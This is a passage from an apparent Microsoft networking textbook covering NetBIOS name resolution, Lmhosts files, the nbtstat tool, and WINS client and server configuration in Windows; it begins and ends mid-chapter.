2. If the name cannot be resolved using the NetBIOS name cache, NetBT sends a unicast NetBIOS
Name Query Request message containing the NetBIOS name of the destination application to the
NBNS.
3. If the NBNS can resolve the NetBIOS name to an IPv4 address, the NBNS returns the IPv4 address
to the sending host with a positive NetBIOS Name Query Response message. If the NBNS cannot
resolve the NetBIOS name to an IPv4 address, the NBNS sends a negative NetBIOS Name Query
Response message.
By default, a computer running Windows attempts to locate its primary NBNS server (a WINS server)
three times. If the computer receives no response or a negative NetBIOS Name Query Response
message indicating that the name was not found, the computer running Windows attempts to contact
additional WINS servers.
When the sending host receives the positive NetBIOS Name Query Response message, the host can
begin to communicate with the destination NetBIOS application using a NetBIOS datagram or a
NetBIOS session.
Windows Methods of Resolving NetBIOS Names
Computers running Windows can also attempt to resolve NetBIOS names using the Lmhosts file, the
local host name, the DNS client resolver cache, and DNS servers. NetBT in Windows uses the
following process:
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 328
1. When a NetBIOS application needs to resolve a NetBIOS name to an IPv4 address, NetBT checks
the NetBIOS name cache for the NetBIOS name-to-IPv4 address mapping of the destination host. If
NetBT finds a mapping, the NetBIOS name is resolved without generating network activity.
2. If the name is not resolved from the entries in the NetBIOS name cache, NetBT attempts to resolve
the name through three NetBIOS name queries to each configured NBNS.
3. If the configured NBNSs do not send a positive name response, NetBT sends up to three broadcast
queries on the local network.
4. If there is no positive name response and the Use LMHOSTS lookup check box on the WINS tab is
selected, NetBT scans the local Lmhosts file. For more information, see "Using the Lmhosts File" in
this chapter.
5. If the NetBIOS name is not resolved from the Lmhosts file, Windows attempts to resolve the name
through host name resolution techniques. NetBT converts the NetBIOS name to a single-label,
unqualified domain name by taking the first 15 bytes of the NetBIOS name and removing spaces
from the end of the name. For example, for the NetBIOS name FILESRV1 [20], the
corresponding single-label, unqualified domain name is filesrv1. The first step in host name resolution
techniques is to check for a match against the local host name.
6. If the converted NetBIOS name does not match the local host name, the DNS Client service checks
the DNS client resolver cache.
7. If the name is not found in the DNS client resolver cache, the DNS Client service attempts to resolve
the name by sending queries to a DNS server. The DNS Client service creates fully qualified names
from the converted NetBIOS name—a single-label, unqualified domain name—using the techniques
described in Chapter 9, “Windows Support for DNS.”
8. If the name is not resolved through DNS, computers running Windows Vista or Windows Server 2008
use the Link-Local Multicast Name Resolution (LLMNR) protocol and send up to two sets of multicast
LLMNR query messages. For more information about LLMNR, see Chapter 8, “Host Name
Resolution.”
If none of these methods resolve the NetBIOS name, NetBT indicates an error to the requesting
NetBIOS application, which typically displays an error message to the user.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 329
NetBIOS Node Types
Windows Vista, Windows XP, Windows Server 2008, and Windows Server 2003 support all of the
NetBIOS node types defined in RFCs 1001 and 1002. Each node type resolves NetBIOS names
differently. Table 11-4 lists and describes the NetBIOS node types.
Node type
Description
B-node (broadcast)
Uses broadcasts for name registration and resolution.
Because routers typically do not forward NetBT
broadcasts, NetBIOS resources that are located on
remote subnets cannot be resolved.
P-node (peer-peer)
Uses an NBNS such as WINS to resolve NetBIOS
names. P-node does not use broadcasts but queries
the NBNS directly. Because broadcasts are not used,
NetBIOS resources located on remote subnets can be
resolved. However, if the NBNS becomes unavailable,
NetBIOS name resolution fails for all NetBIOS names,
even for NetBIOS applications that are located on the
local subnet.
M-node (mixed)
A combination of B-node and P-node. By default, an
M-node functions as a B-node. If the broadcast name
query is unsuccessful, NetBT uses an NBNS.
H-node (hybrid)
A combination of P-node and B-node. By default, an
H-node functions as a P-node. If the unicast name
query to the NBNS is unsuccessful, NetBT uses a
broadcast.
Microsoft enhanced B-node
A combination of B-node and the use of the local
Lmhosts file. If the broadcast name query is not
successful, NetBT checks the local Lmhosts file.
Table 11-4 NetBIOS node types
By default, NetBT on computers running Windows use the Microsoft enhanced B-node NetBIOS node
type if no WINS servers are configured. If at least one WINS server is configured, NetBT uses H-node.
You can override this default behavior and explicitly configure the NetBIOS node type in the following
ways:
By using the DHCP WINS/NBT Node Type option (option 46) and setting the value to 1 (Microsoft-
enhanced B-node), 2 (P-node), 4 (M-node), or 8 (H-node).
By setting the
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters\NodeType registry
value to 1 (Microsoft-enhanced B-node), 2 (P-node), 4 (M-node), or 8 (H-node).
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 330
Using the Lmhosts File
The Lmhosts file is a static text file of NetBIOS names and IPv4 addresses. NetBT uses an Lmhosts file
to resolve the NetBIOS names for NetBIOS applications that are running on remote computers on a
network that does not contain NBNSs. The Lmhosts file has the following characteristics:
Entries consist of an IPv4 address and a NetBIOS computer name. For example:
131.107.7.29
emailsrv1
Entries are not case-sensitive.
Each computer has its own file in the systemroot\System32\Drivers\Etc folder.
This folder includes a sample Lmhosts file (Lmhosts.sam). You can create another file named
Lmhosts or you can rename or copy Lmhosts.sam to Lmhosts in this folder.
By default, computers running Windows use the Lmhosts file, if it exists, in NetBIOS name resolution.
You can disable the use of the Lmhosts file by clearing the Use LMHOSTS Lookup check box on the
WINS tab of the Advanced TCP/IP Properties dialog box, as Figure 11-2 shows.
Predefined Keywords
The Lmhosts file can contain predefined keywords that are prefixed with the “#” character. Table 11-5
lists the possible Lmhosts keywords.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 331
Keyword
Description
#PRE
Defines which entries should be initially preloaded as
permanent entries in the NetBIOS name cache.
Preloaded entries reduce network broadcasts,
because names are resolved from the cache rather
than from broadcast queries. Entries with a #PRE tag
are loaded automatically when TCP/IP is started or
manually with the nbtstat –R command.
#DOM:DomainName
Identifies computers for Windows domain activities
such as logon validation, account synchronization, and
computer browsing.
#NOFNR
Avoids using NetBIOS unicast name queries for older
computers running LAN Manager for UNIX.
#INCLUDE Path\FileName
Loads and searches entries in the Path\FileName file,
a centrally located and shared Lmhosts file. The
recommended way to specify file paths is using a
universal naming convention (UNC) path such as
\\fileserv1\public. You must have entries for the
computer names of remote servers hosting the shares
in the local Lmhosts file; otherwise, the shares will not
be accessible.
#BEGIN_ALTERNATE
#END_ALTERNATE
Defines a list of alternate locations for Lmhosts files.
#MH
Adds multiple entries for a multihomed computer.
Table 11-5 Lmhosts keywords
Because the Lmhosts file is read sequentially, you should add the most frequently accessed computers
as the first entries of the file, and add the #PRE-tagged entries as the last entries of the file. Because
the #PRE entries are loaded into the NetBIOS name cache, they are not needed when NetBT scans the
Lmhosts file after startup. Placing them as the last entries of the file allows NetBT to scan the Lmhosts
file for other NetBIOS names more quickly.
Using a Centralized Lmhosts File
NetBT can also scan Lmhosts files that are located on other computers, which allows you to maintain a
centralized Lmhosts file that can be accessed through a user’s local Lmhosts file. Using a centralized
Lmhosts file still requires each computer to have a local Lmhosts file.
To access a centralized Lmhosts file, a computer’s local Lmhosts file must have an entry with the
#INCLUDE tag and the location of the centralized file. For example:
#INCLUDE
\\Bootsrv3\Public\Lmhosts
In this example, NetBT includes the Lmhosts file on the Public shared folder of the server named
Bootsrv3 in its attempts to resolve a remote NetBIOS name to an IPv4 address.
NetBT scans the centralized Lmhosts file before a user logs on to the computer. Because no user name
is associated with the computer before a user logs on, NetBT uses a null user name for its credentials
when accessing the shared folder where the central Lmhosts file is located.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 332
To allow null access to a shared folder that contains an Lmhosts file, you must type the name of the
folder as the string value of the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
\Services\Lanmanserver \Parameters\NullSessionShares registry value on the Windows-based server
that is hosting the shared folder, and then restart the Server service. If you do not set this registry value,
the remote Lmhosts file is not accessible until after a valid user logs on to the computer.
The #BEGIN_ALTERNATE and #END_ALTERNATE tags allow you to include a block of remote
Lmhosts file locations in the search for a NetBIOS name-to-IPv4 address mapping. This technique is
known as block inclusion. For example:
#BEGIN_ALTERNATE
#INCLUDE
\\Bootsrv3\Public\Lmhosts
#INCLUDE
\\Bootsrv4\Public\Lmhosts
#INCLUDE
\\Bootsrv9\Public\Lmhosts
#END_ALTERNATE
When NetBT uses a block inclusion, it scans only the first accessible Lmhosts file in the block. NetBT
does not access additional Lmhosts files, even if the first accessible Lmhosts file does not contain the
desired name. Block inclusion provides fault tolerance for centralized Lmhosts files.
Creating Lmhosts Entries for Specific NetBIOS Names
A typical entry in the Lmhosts file for a NetBIOS computer name allows the resolution of the three
NetBIOS names:
ComputerName[00]
ComputerName[03]
ComputerName[20]
These names correspond to the Workstation, Server, and Messenger services, respectively.
However, you might need to resolve a specific 16-character NetBIOS name to a NetBIOS application
running on a remote computer. You can configure any arbitrary 16-byte NetBIOS name in the Lmhosts
file by using the following syntax:
IPv4Address "NameSpacePadding\0xN"
In which:
IPv4Address is the IPv4 address to which this NetBIOS name is resolved.
Name is the first part of the NetBIOS name (up to 15 bytes)
SpacePadding is needed to ensure that the full NetBIOS name is 16 bytes. If the Name portion has
fewer than 15 bytes, it must be padded with spaces up to 15 bytes.
N indicates the two-digit hexadecimal representation of the 16th byte of the NetBIOS name. The syntax
\0xN can represent any byte in the NetBIOS name but is most often used for the 16th character.
For example, you might create an entry so that a computer browsing client can resolve the NetBIOS
name Domain0x1B. Domain0x1B is a NetBIOS name that is registered by Domain Master Browse
Servers, and certain types of computer browsing situations require the successful resolution of the
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 333
Domain0x1B NetBIOS name. For example, the Lmhosts file entry for the NetBIOS domain name of
EXAMPLE and IPv4 address of 131.107.4.31 is:
131.107.4.31 "EXAMPLE \0x1B"
For more information about the Lmhosts file and computer browsing, see Appendix C, “Computer
Browser Service.”
Name Resolution Problems Using Lmhosts
The most common problems with NetBIOS name resolution when using the Lmhosts file are the
following:
An entry for a remote NetBIOS name does not exist in the Lmhosts file.
Verify that the IPv4 address-to-NetBIOS name mappings of all remote hosts that a computer needs
to access are added to the Lmhosts file.
The NetBIOS name in the Lmhosts file is misspelled.
Verify the spelling of all names as you add them.
The IPv4 address is invalid for the NetBIOS name.
Verify that the IPv4 address is correct for the corresponding NetBIOS name.
The Lmhosts file contains multiple entries for the same NetBIOS name.
Verify that each entry in the Lmhosts file is unique. If the file contains duplicate names, NetBT uses
the first name listed in the file. NetBT will not read the Lmhosts file for any additional entries.
To test an entry in the Lmhosts file, use a NetBIOS application (such as the nbtstat -a command) to
verify whether the entry was added correctly.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 334
The Nbtstat Tool
The Nbtstat tool is your primary tool for collecting NetBT information when troubleshooting NetBIOS
name issues. Table 11-6 lists the most commonly used Nbtstat options.
Option
Description
-n
Displays the NetBIOS name table of the local computer. You use
this option to determine the NetBIOS applications that are running
on the local computer and their corresponding unique and group
NetBIOS names.
-a RemoteComputerName
-A IPv4Address
Displays the NetBIOS name table of a remote computer by its name
or IPv4 address. You use this option to determine the NetBIOS
applications that are running on a remote computer and their
corresponding unique and group NetBIOS names.
-c
Displays the NetBIOS name cache of the local computer.
-R
Manually flushes and reloads the NetBIOS name cache with the
entries in the Lmhosts file that use the #PRE parameter.
-RR
Releases and reregisters all local NetBIOS names with the NBNS
(a WINS server). You use this option when troubleshooting WINS
registration issues.
Table 11-6 Common Nbtstat options
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 335
Chapter Summary
The key information in this chapter is the following:
NetBIOS is a standard API at the Session layer for user applications to utilize the services of installed
network protocol stacks and a session management and data transport protocol.
A NetBIOS name is a 16-byte name that identifies a unique or group NetBIOS application on a network.
NetBIOS name management includes processes for NetBIOS name registration, resolution, and
release.
NetBT provides NetBIOS session, name management, and datagram services for NetBIOS applications
running on an IPv4 network. NetBT is required for computers running Windows Vista, Windows XP,
Windows Server 2008, or Windows Server 2003 only when running NetBIOS applications.
NetBT in Windows can use the NetBIOS name cache, an NBNS, broadcasts, the Lmhosts file, the local
host name, the DNS client resolver cache, and DNS servers to resolve NetBIOS names.
NetBT uses the Microsoft enhanced B-node NetBIOS node type (if no WINS servers are configured) or
the H-node NetBIOS node type (if at least one WINS server is configured).
The Lmhosts file is a static text file of NetBIOS names and IPv4 addresses that NetBT uses to resolve
the NetBIOS names for NetBIOS applications running on remote computers.
The Nbtstat tool is the primary tool for collecting NetBT information when troubleshooting NetBIOS
name issues.
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 336
Chapter Glossary
DNS – See Domain Name System (DNS).
DNS client resolver cache – A RAM-based table that contains both the entries in the Hosts file and the
results of recent DNS name queries.
DNS server – A server that maintains a database of mappings of DNS domain names to various types
of data, such as IP addresses.
Domain Name System (DNS) – A hierarchical, distributed database that contains mappings of DNS
domain names to various types of data, such as IP addresses. With DNS, users can specify computers
and services by friendly names. DNS also enables the discovery of other information stored in its
database.
Host name – The name of a computer or device on a network. Users specify computers on the network
by their host names. For another computer to be found, its host name must either appear in the Hosts
file or be known by a DNS server. For most computers running Windows, the host name and the
computer name are the same.
Host name resolution – The process of resolving a host name to a destination IP address.
Hosts file – A local text file in the same format as the 4.3 Berkeley Software Distribution (BSD) UNIX
/etc/hosts file. This file maps host names to IP addresses, and it is stored in the
systemroot\System32\Drivers\Etc folder.
Lmhosts file – A local text file that maps NetBIOS names to IP addresses for hosts that are located on
remote subnets. For computers running Windows, this file is stored in the
systemroot\System32\Drivers\Etc folder.
NBNS – See NetBIOS name server (NBNS).
NetBIOS – See network basic input/output system (NetBIOS).
NetBIOS name - A 16-byte name for an application that uses the network basic input/output system
(NetBIOS).
NetBIOS name cache – A dynamically maintained table that stores recently resolved NetBIOS names
and their associated IPv4 addresses.
NetBIOS name resolution – The process of resolving a NetBIOS name to an IPv4 address.
NetBIOS name server (NBNS) – A server that stores NetBIOS name-to-IPv4 address mappings and
that resolves NetBIOS names for NetBIOS-enabled hosts. The WINS Server service is the Microsoft
implementation of an NBNS.
NetBIOS node type – A designation of the specific way that NetBIOS nodes resolve NetBIOS names.
NetBIOS over TCP/IP (NetBT) – The implementation of the NetBIOS session protocol over TCP/IP
(IPv4 only) that provides network name registration and verification, session establishment and
termination, and data transfer services for reliable connection-oriented sessions and unreliable
connectionless datagrams.
NetBT – See NetBIOS over TCP/IP (NetBT).
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 337
Network basic input/output system (NetBIOS) – A standard API for user applications to submit network
I/O and control directives to underlying network protocol software and a protocol that functions at the
Session layer.
Windows Internet Name Service (WINS) – The Microsoft implementation of an NBNS.
WINS – See Windows Internet Name Service (WINS).
Chapter 11 – NetBIOS over TCP/IP
TCP/IP Fundamentals for Microsoft Windows
Page: 338
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 339
Chapter 12 – Windows Internet Name Service Overview
Abstract
This chapter describes the use of Windows Internet Name Service (WINS) in Microsoft Windows operating systems to
provide network basic input/output system (NetBIOS) name resolution on a TCP/IP network. A network administrator
must understand the role and configuration of WINS clients, WINS servers, and WINS proxies to successfully deploy a
NetBIOS name resolution infrastructure and to troubleshoot issues with NetBIOS name resolution.
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 340
Chapter Objectives
After completing this chapter, you will be able to:
Describe the function of Windows Internet Name Service (WINS).
Explain how WINS clients perform name registration, name renewal, name refresh, and name
resolution.
Configure a WINS client to use primary and secondary WINS servers.
Install a WINS server and configure it for static mappings and to replicate its database with other WINS
servers.
Describe the function and configuration of a WINS proxy.
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 341
Introduction to WINS
Windows Internet Name Service (WINS) is the Windows implementation of a NetBIOS name server
(NBNS), which provides a distributed database for registering and querying dynamic mappings of
NetBIOS names to IPv4 addresses used on your network. WINS is designed to provide NetBIOS name
resolution in routed TCP/IP networks with multiple subnets. Without WINS, you must maintain Lmhosts
files.
Before two hosts that use NetBIOS over TCP/IP (NetBT) can communicate, the destination NetBIOS
name must be resolved to an IPv4 address. TCP/IP cannot establish communication using a NetBIOS
computer name. The basic procedure for WINS-based NetBIOS name resolution is the following:
1. Each time a WINS client starts, it registers its NetBIOS name-to-IPv4 address mappings with a
configured WINS server.
2. When a NetBIOS application running on a WINS client initiates communication with another host,
NetBT sends a NetBIOS Name Query Request message with the destination NetBIOS name directly
to the WINS server, instead of broadcasting it on the local network.
3. If the WINS server finds a NetBIOS name-to-IPv4 address mapping for the queried name in its
database, it returns the corresponding IPv4 address to the WINS client.
Using WINS provides the following advantages:
Client requests for name resolution are sent directly to a WINS server. If the WINS server can resolve
the name, it sends the IPv4 address directly to the client. As a result, a broadcast is not needed and
broadcast traffic is reduced. However, if the WINS server is unavailable or does not have the
appropriate mapping, the WINS client can still use a broadcast in an attempt to resolve the name.
The WINS database is updated dynamically so that it is always current. This process allows NetBIOS
name resolution on networks using DHCP and eliminates the need for local or centralized Lmhosts
files.
WINS provides computer browsing capabilities across subnets and domains. Computer browsing
provides the list of computers in My Network Places. For more information, see Appendix C, "Computer
Browser Service."
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 342
How WINS Works
The WINS Server service in Windows Server 2003 is an implementation of an NBNS as described in
Requests for Comments (RFCs) 1001 and 1002. WINS clients use a combination of the following
processes:
Name registration
Each WINS client is configured with the IPv4 address of a WINS server. When a WINS client starts,
it registers its NetBIOS names and their corresponding IPv4 addresses with its WINS server. The
WINS server stores the client’s NetBIOS name-to-IPv4 address mappings in its database.
Name renewal
All NetBIOS names are registered on a temporary basis so that if the original owner stops using a
name, a different host can use it later. At defined intervals, the WINS client renews the registration
for its NetBIOS names with the WINS server.
Name resolution
A WINS client can obtain the IPv4 addresses for NetBIOS names by querying the WINS server.
Name release
When a NetBIOS application no longer needs a NetBIOS name, such as when a NetBIOS-based
service is shut down, the WINS client sends a message to the WINS server to release the name.
These processes are described in greater detail in the following sections.
All WINS communications between WINS clients and WINS servers use unicast NetBIOS name
management messages over User Datagram Protocol (UDP) port 137, the reserved port for the
NetBIOS Name Service.
Name Registration
When a WINS client initializes, it registers its NetBIOS names by sending a NetBIOS Name
Registration Request message directly to its configured WINS server. NetBIOS names are registered
when NetBIOS services or applications start, such as the Workstation, Server, and Messenger
services.
If the NetBIOS name is unique and another WINS client has not already registered the name, the WINS
server sends a positive Name Registration Response message to the WINS client. This message
contains the amount of time, known as the Time to Live (TTL), that the NetBIOS name is registered to
the WINS client. The TTL is configured on the WINS server.
When a Duplicate Name Is Found
If a duplicate unique name is registered in the WINS database, the WINS server sends a challenge to
the currently registered owner of the name as a unicast NetBIOS Name Query Request message. The
WINS server sends the challenge three times at 500-millisecond intervals.
If the current registered owner responds to the challenge successfully, the WINS server sends a
negative Name Registration Response message to the WINS client that is attempting to register the
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 343
duplicate name. If the current registered owner does not respond to the WINS server, the server sends
a positive Name Registration Response message to the WINS client that is attempting to register the
name and updates its database with the new owner.
When WINS Servers are Unavailable
A typical WINS client is configured with a primary and a secondary WINS server, although you can
configure more than two WINS servers. A WINS client makes three attempts to register its names with
its primary WINS server. If the third attempt gets no response, the WINS client sends name registration
requests to its secondary WINS server (if configured) and any additional servers that have been
configured. If none of the WINS servers are available, the WINS client uses local broadcasts to register
its NetBIOS names.
Name Renewal
To continue using the same NetBIOS name, a client must renew its registration before the TTL it
received in the last positive Name Registration Response message expires. If the client does not renew
the registration, the WINS server removes the NetBIOS name from its database. After that point, other
computers cannot resolve the NetBIOS name to the address of the former owner and another client can
register the name for itself.
Name Refresh Request
Every WINS client attempts to renew its NetBIOS names with its primary WINS server by sending a
NetBIOS Name Refresh message when half of the TTL has elapsed or when the computer or the
service restarts. If the WINS client does not receive a NetBIOS Name Registration Response message,
the client sends another refresh message to its primary WINS server every 10 minutes for one hour. If
none of these attempts is successful, the client then tries the secondary WINS server every 10 minutes
for one hour. The client continues to send refresh messages to the primary server for an hour and then
to the secondary server for an hour until either the name expires or a WINS server responds and
renews the name.
If the WINS client succeeds in refreshing its name, the WINS server that responds to the NetBIOS
Name Refresh message resets the renewal interval. If the WINS client fails to refresh the name on
either the primary or secondary WINS server during the renewal interval, the name is released.
Name Refresh Response
When a WINS server receives the NetBIOS Name Refresh message, the server sends the client a
positive Name Registration Response message with a new TTL.
Name Release
When a NetBIOS application running on a WINS client is closed, NetBT instructs the WINS server to
release the unique NetBIOS name used by the application. The WINS server then removes the
NetBIOS name mapping from its database.
The name release process uses the following types of messages:
Name Release Request
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 344
The Name Release Request message includes the client’s IPv4 address and the NetBIOS name to
be removed from the WINS database.
Name Release Response
When the WINS server receives the Name Release Request message, the server checks its
database for the specified name. If the WINS server encounters a database error or if a different
IPv4 address maps to the registered name, the server sends a negative Name Release Response
message to NetBT on the WINS client.
Otherwise, the WINS server sends a positive Name Release Response message and then
designates the specified name as inactive in its database. The positive Name Release Response
message contains the released NetBIOS name and a TTL value of 0.
Name Resolution
Computers that are running Windows Server 2003 or Windows XP and that are configured with the
IPv4 addresses of WINS servers by default use the H-node NetBIOS node type. NetBT always checks
the WINS server for a NetBIOS name-to-IPv4 address mapping before sending a broadcast. The
NetBIOS name resolution process is the following:
1. NetBT checks the NetBIOS name cache for the NetBIOS name-to-IPv4 address mapping of the
destination.
2. If the name is not resolved from the NetBIOS name cache, NetBT sends a unicast NetBIOS Name
Query Request message to the configured primary WINS server.
If the primary WINS server can resolve the name, the server responds with a positive NetBIOS Name
Query Response message that contains the IPv4 address for the requested NetBIOS name.
If the primary WINS server does not respond after three separate attempts or responds with a
negative Name Query Response message, the client sends a NetBIOS Name Query Request
message to its configured secondary WINS server.
If additional WINS servers are configured and the secondary WINS server does not respond after
three separate attempts or responds with a negative Name Query Response message, the client
sends a NetBIOS Name Query Request message to the additional configured WINS server or
servers in configuration order.
3. If none of the servers respond with a positive Name Query Response message, the WINS client
broadcasts up to three Name Query Request messages on the local subnet.
If the name is not resolved from these methods, the WINS client might still resolve the name by parsing
the Lmhosts file; converting the NetBIOS name to a single-label, unqualified domain name; and
checking it against the local host name, the Domain Name System (DNS) client resolver cache, and
DNS. For more information, see Chapter 11, "NetBIOS Over TCP/IP."
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 345
The WINS Client
You can configure the WINS client, known as the TCP/IP NetBIOS Helper service in the Services snap-
in, in the following ways:
Automatically, using the Dynamic Host Configuration Protocol (DHCP) and DHCP options
Manually, using either the Netsh tool or the properties of the Internet Protocol Version 4 (TCP/IPv4) or
Internet Protocol (TCP/IP) component in Network Connections.
Automatically, for Point-to-Point Protocol (PPP) connections.
To determine the IPv4 addresses of the WINS servers that are assigned to the connections of your
computer running Windows Server 2003 or Windows XP, do one of the following:
Use the ipconfig /all command.
Use the netsh interface ip show wins command.
Open the Network Connections folder, right-click a connection, and click Status. Click the Support tab,
and then click Details.
DHCP Configuration of a WINS Client
You can assign WINS servers to DHCP clients by configuring the WINS/NBNS Servers DHCP option
(option 44) on your DHCP server. If WINS servers are manually configured in the properties of the
Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component, the WINS client
ignores the DHCP-based WINS server settings.
WINS clients running Windows Server 2003 or Windows XP automatically use the H-node NetBIOS
node type when it is assigned IPv4 addresses of WINS servers. Because of this behavior, you do not
also need to configure the 046 WINS/NBT Node Type DHCP option (option 46) with a value of 0x8 (H-
node) on your DHCP server.
Manual Configuration of the WINS Client Using Network Connections
To manually configure the WINS client using Network Connections, you must obtain properties of the
Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component for your LAN
connection. You can then manually configure the IPv4 addresses of WINS servers in two ways:
Primary and alternate WINS server addresses for the alternate configuration for the connection
Advanced TCP/IP properties
If you have specified an alternate configuration, you can also specify the IPv4 addresses of a primary
and an alternate WINS server. Figure 12-1 shows an example of configuring a primary WINS server on
the Alternate Configuration tab.
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 346
Figure 12-1 Primary and alternate WINS servers on the Alternate Configuration tab
To manually configure IPv4 addresses of WINS servers or to configure additional settings on a WINS
client, open the properties dialog box for the Internet Protocol Version 4 (TCP/IPv4) or Internet
Protocol (TCP/IP) component, click Advanced on the General tab, and then click the WINS tab.
Figure 12-2 shows an example.
Figure 12-2 The WINS tab from the advanced configuration of the Internet Protocol Version 4 (TCP/IPv4) component
On the WINS tab, you can configure an ordered list of WINS servers that the computer queries. The
WINS servers configured in WINS addresses, in order of use override the WINS server addresses
received through DHCP.
Manual Configuration of the WINS Client Using Netsh
You can also configure the IPv4 addresses of WINS servers from the command line using the Netsh
tool and the following command:
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 347
netsh interface ip set wins [name=]ConnectionName [source=]dhcp|static
[addr=]IPv4Address|none
The netsh interface ip set wins command parameters are as follows:
ConnectionName is the name of the connection as it appears in the Network Connections folder.
source is either dhcp, which sets DHCP as the source for configuring WINS servers for the specific
connection, or static, which sets the source for configuring WINS servers to the WINS tab in the
advanced properties of the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP)
component.
IPv4Address is either an IPv4 address for a WINS server or none, which clears the list of WINS
servers.
To configure a remote computer, use the –r RemoteComputer parameter as the last parameter in the
command line. You can specify RemoteComputer with either a computer name or an IPv4 address.
Configuration of the WINS Client for Remote Access Clients
Remote access clients (using either dial-up access or a virtual private network connection) obtain the
initial configuration of a primary and an alternate WINS server during the negotiation of the Point-to-
Point Protocol (PPP) connection. RFC 1877 defines the Internet Protocol Control Protocol (IPCP)
Primary NBNS Server Address and Secondary NBNS Server Address options. Computers running
Windows XP or Windows Server 2003 also use a DHCPInform message to obtain an updated list of
WINS servers. If a remote access server running Windows Server 2003 is correctly configured with the
DHCP Relay Agent routing protocol component, the remote access server forwards the DHCPInform
message to a DHCP server and forwards the response (a DHCPAck message) back to the remote
access client.
If the remote access client receives a response to the DHCPInform message, the WINS servers in the
DHCPAck message replace the WINS servers configured using IPCP.
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 348
The WINS Server Service
The WINS Server service in Windows Server 2003 supports the following features:
An RFC-compliant NBNS
Static mapping maintenance
You can manually add entries to the WINS server database for the NetBIOS names of non-WINS
clients.
WINS server replication
To ensure that NetBT nodes can resolve any NetBIOS name on the network by querying any WINS
server, the WINS Server service supports database replication between WINS servers.
Installing the WINS Server Service
To install the WINS Server service on Windows Server 2008, do the following:
1. Click Start, point to Programs, point to Administrative Tools, and then click Server Manager.
2. In the console tree, right-click Features, and then click Add Features.
3. Under Features, select the WINS Server check box, and then click Next.
4. Click Install.
You can install the WINS Server service for Windows Server 2003 in the following ways:
As a Windows component using the Add or Remove Programs item in Control Panel.
With the Manage Your Server Wizard.
To install the WINS Server service with the Add or Remove Programs item in Control Panel, use the
following steps:
1. Click Start, click Control Panel, double-click Add or Remove Programs, and then click
Add/Remove Windows Components.
2. In Components, select the Networking Services check box, and then click Details.
3. In Subcomponents of Networking Services, select the Windows Internet Name Service (WINS)
check box, click OK, and then click Next.
4. If prompted, in Copy files from, type the full path to the installation files for Windows Server 2003,
and then click OK.
To install the WINS Server service, you must be a member of the Administrators group on the local
computer, or you must have been delegated the appropriate authority. If the computer is joined to a
domain, members of the Domain Admins group might be able to perform this procedure.
To configure the WINS Server service, you configure the properties for the WINS server, static
mappings, and replication.
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 349
Properties of the WINS Server
To modify the properties of a WINS server, open the WINS snap-in, right-click the name of the server in
the tree, and then click Properties. Figure 12-3 shows an example of the resulting properties dialog
box.
Figure 12-3 The properties dialog box for a WINS server
From this dialog box, you can configure properties on the following tabs:
General You can specify how often to refresh the WINS statistics that appear in the Active
Registrations node in the WINS snap-in, what the path to the WINS backup database is, and whether
to backup the WINS database when the WINS Server service is shut down.
Intervals You can specify various WINS server timers that Table 12-1 lists.
Database Verification You can enable the periodic checking of database consistency to help maintain
database integrity among WINS servers in a large network.
Advanced You can enable the logging of detailed events to the system event log and enable and
configure burst handling to distribute peak loads during WINS client registration or renewal. You can
also specify the path for the WINS database, the starting version ID number (used to track changes in
the local WINS database), and whether to allow NetBIOS names that are compatible with Microsoft
LAN Manager.
Configuration option
Description
Renewal Interval
Specifies how often a client must reregister its name.
This is the TTL for the NetBIOS name registration or
renewal. The default value is six days.
Extinction Interval
Specifies the interval between when a database entry
is marked as released and when it is marked as
extinct. The default depends on the renewal interval
and, if the WINS server has replication partners, on
the maximum replication time interval. You cannot
specify an interval that is longer than six days.
Extinction Timeout
Specifies the interval between when an entry is
Chapter 12 – Windows Internet Name Service Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 350
marked extinct and when the entry is removed from
the database. The default depends on the renewal
interval and, if the WINS server has replication
partners, on the maximum replication time interval.
The default value is six days.
Verification Interval
Specifies the interval after which the WINS server
must verify whether old names that it does not own are
still active. The default depends on the extinction
interval. You cannot specify an interval that is longer
than 24 days.
Table 12-1 WINS server timers
Static Entries for Non-WINS Clients
If a WINS client tries to connect to a non-WINS client on a remote subnet, the name of the non-WINS
client cannot be resolved because it is not registered with the WINS server. On a network that has
NetBT nodes that do not support WINS (non-WINS clients), you can configure static mappings of the
NetBIOS names used by each non-WINS client to its IPv4 address. By configuring these mappings in a
